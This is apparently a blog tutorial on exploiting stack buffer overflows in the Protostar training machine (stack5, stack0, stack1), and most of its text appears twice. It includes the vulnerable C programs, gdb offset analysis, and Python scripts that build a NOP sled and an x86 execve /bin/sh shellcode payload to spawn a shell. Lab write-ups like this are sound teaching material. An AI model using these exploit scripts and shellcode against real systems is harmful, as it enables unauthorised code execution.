I think to be better at something is to diligently study the fundamental concept all over again until it becomes natural.
This concept can be seen to be committed by many experts around the world whether is from a martial artist, chef or a coder, they try to tend to master the concept for a long time so when it's time to move to more an advanced topic they don't have any trouble to digest it.
so I try again to deep dive into the concept again in a stack buffer overflow.
For practice, I just use the protostar machine from https://exploit.education/protostar/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
so here is the source code, from a quick glance you can see that it is vulnerable because of the gets function.
let's try to run it:
well actually without run it we already know what is going to show right?
define a function so every time we hit breakpoint it will dump the next three instructions and dump 40 bytes of the esp registers.
esp (stack pointer) used to point the top of the stack
lets put a breakpoint at the "leave" instruction so we know the content of esp before it exits the main function. Run the program again with a random pattern so we know how many offset we need to fill for overwriting the eip registers.
cool we got 76 bytes to overwrite the offset, so the next question is what value that needs to put to the EIP ?
we should put the value of the address of our shellcode, so after the function is finished it will continue to our shellcode.
but where we put our shellcode? you can put it in the stack of the program since the NX functionality is disabled we can execute it inside the stack.
but where "exactly" the location of the stack that we can use? you can put anywhere in the stack it is an educated guess if the shellcode is crash try another address.
take a look at the ESP value after the program is executed
this is the state of ESP register before executing "leave" command
we can see the value EIP is overwritten with (42424242)
hit "si" to step through
now the esp is pointing to the eip (return main function) before executing "ret" after this the program will move to address "42424242" which is not exist. As you can see the stack register changes from the previous picture.
let's choose the address 0xbffff6fa
put it into our script to craft payload and for testing put char "\xCC" for indicating that our shellcode is hit by the program
char "\xCC" is opcode for a breakpoint in the shellcode
as you can see after the eip I put nop variable which contains "\x90" this is a nop code that does nothing, using nop code will give more chance to put our shellcode because what you run in gdb may not run outside of it due to the variable of environment path of the program that will move the location of the register. Don't forget to redirect the result to a file so we can load it to program stdin.
this payload will also cause breakpoint outside of the GDB:
you can also change to any address inside the stack and it will eventually hit the shellcode:
cool! know all we have to do is change the "\xCC" to shellcode
import struct
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
eip = struct.pack("I",0xbffff6a0+10)
nop = "\x90" * 100
padding = "A" * 76 + eip + nop + shellcode
print padding
hmmm whats with the (cat payload;cat)
oke let me explain if you try to run the payload with cat payload | /opt/protostar/bin/stack5
it will give you nothing, because of /bin/sh shell, is expecting us to give some sort of input to interact since we don't give any input it will exit the shell. To make the shell stay open you have to use "; cat"
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
and again it's pretty straight forward (vulnerable gets function)
we got the offset again which is 80 bytes
we reuse the code from part 1:
put "\xCC" just to make sure we got the shellcode to be executed
import struct
eip = struct.pack("I",0xbffff6e6)
nop = "\x90" * 100
bp = "\xCC" * 4
padding = "A" * 80
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + eip + nop + shellcode
this our final script and we got a shell again, cool :D
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
different from the last two-part, the program gets the input from argv and copy the value to the buffer variable. strcpy also vulnerable to buffer overflow since the function doesn't have any size restriction.
ok, we got another 80 bytes of offset, lol:
again I will create a script that similar from the previous script:
as you can see both insides the gdb and outside the gdb we can get breakpoint shellcode.
import struct
eip = struct.pack("I",0xbffff610+20)
nop = "\x90" * 100
bp = "\xCC" * 4
padding = "A" * 80
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + eip + nop + shellcode
customize your script like this and we got shell again cool :D
see ! if you able to grasp the concept it is easy to implement it in different condition
Enjoy :D
https://reverseengineering.stackexchange.com/questions/2995/illegal-instruction-exploiting-sample-buffer-overflow-code
https://reverseengineering.stackexchange.com/questions/2983/how-to-predict-address-space-layout-differences-between-real-and-gdb-controlled
This concept can be seen to be committed by many experts around the world whether is from a martial artist, chef or a coder, they try to tend to master the concept for a long time so when it's time to move to more an advanced topic they don't have any trouble to digest it.

so I try again to deep dive into the concept again in a stack buffer overflow.
For practice, I just use the protostar machine from https://exploit.education/protostar/
Part 1:
Let's do the fifth challenge:#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
so here is the source code, from a quick glance you can see that it is vulnerable because of the gets function.
let's try to run it:
well actually without run it we already know what is going to show right?
define a function so every time we hit breakpoint it will dump the next three instructions and dump 40 bytes of the esp registers.
esp (stack pointer) used to point the top of the stack
lets put a breakpoint at the "leave" instruction so we know the content of esp before it exits the main function. Run the program again with a random pattern so we know how many offset we need to fill for overwriting the eip registers.
cool we got 76 bytes to overwrite the offset, so the next question is what value that needs to put to the EIP ?
we should put the value of the address of our shellcode, so after the function is finished it will continue to our shellcode.
but where we put our shellcode? you can put it in the stack of the program since the NX functionality is disabled we can execute it inside the stack.
but where "exactly" the location of the stack that we can use? you can put anywhere in the stack it is an educated guess if the shellcode is crash try another address.
take a look at the ESP value after the program is executed
this is the state of ESP register before executing "leave" command
we can see the value EIP is overwritten with (42424242)
hit "si" to step through
now the esp is pointing to the eip (return main function) before executing "ret" after this the program will move to address "42424242" which is not exist. As you can see the stack register changes from the previous picture.
let's choose the address 0xbffff6fa
put it into our script to craft payload and for testing put char "\xCC" for indicating that our shellcode is hit by the program
char "\xCC" is opcode for a breakpoint in the shellcode
as you can see after the eip I put nop variable which contains "\x90" this is a nop code that does nothing, using nop code will give more chance to put our shellcode because what you run in gdb may not run outside of it due to the variable of environment path of the program that will move the location of the register. Don't forget to redirect the result to a file so we can load it to program stdin.
this payload will also cause breakpoint outside of the GDB:
you can also change to any address inside the stack and it will eventually hit the shellcode:
cool! know all we have to do is change the "\xCC" to shellcode
import struct
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
eip = struct.pack("I",0xbffff6a0+10)
nop = "\x90" * 100
padding = "A" * 76 + eip + nop + shellcode
print padding
hmmm whats with the (cat payload;cat)
oke let me explain if you try to run the payload with cat payload | /opt/protostar/bin/stack5
it will give you nothing, because of /bin/sh shell, is expecting us to give some sort of input to interact since we don't give any input it will exit the shell. To make the shell stay open you have to use "; cat"
Part 2:
oke so we got the foundation of buffer overflow, let's do another shellcode injection from the previous challenge (stack0)#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
and again it's pretty straight forward (vulnerable gets function)
we got the offset again which is 80 bytes
we reuse the code from part 1:
put "\xCC" just to make sure we got the shellcode to be executed
import struct
eip = struct.pack("I",0xbffff6e6)
nop = "\x90" * 100
bp = "\xCC" * 4
padding = "A" * 80
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + eip + nop + shellcode
this our final script and we got a shell again, cool :D
Part 3:
let's do another shellcode injection from the previous challenge (stack1) again#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
different from the last two-part, the program gets the input from argv and copy the value to the buffer variable. strcpy also vulnerable to buffer overflow since the function doesn't have any size restriction.
ok, we got another 80 bytes of offset, lol:
again I will create a script that similar from the previous script:
as you can see both insides the gdb and outside the gdb we can get breakpoint shellcode.
import struct
eip = struct.pack("I",0xbffff610+20)
nop = "\x90" * 100
bp = "\xCC" * 4
padding = "A" * 80
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + eip + nop + shellcode
customize your script like this and we got shell again cool :D
see ! if you able to grasp the concept it is easy to implement it in different condition
Enjoy :D
https://reverseengineering.stackexchange.com/questions/2995/illegal-instruction-exploiting-sample-buffer-overflow-code
https://reverseengineering.stackexchange.com/questions/2983/how-to-predict-address-space-layout-differences-between-real-and-gdb-controlled
Comments
Post a Comment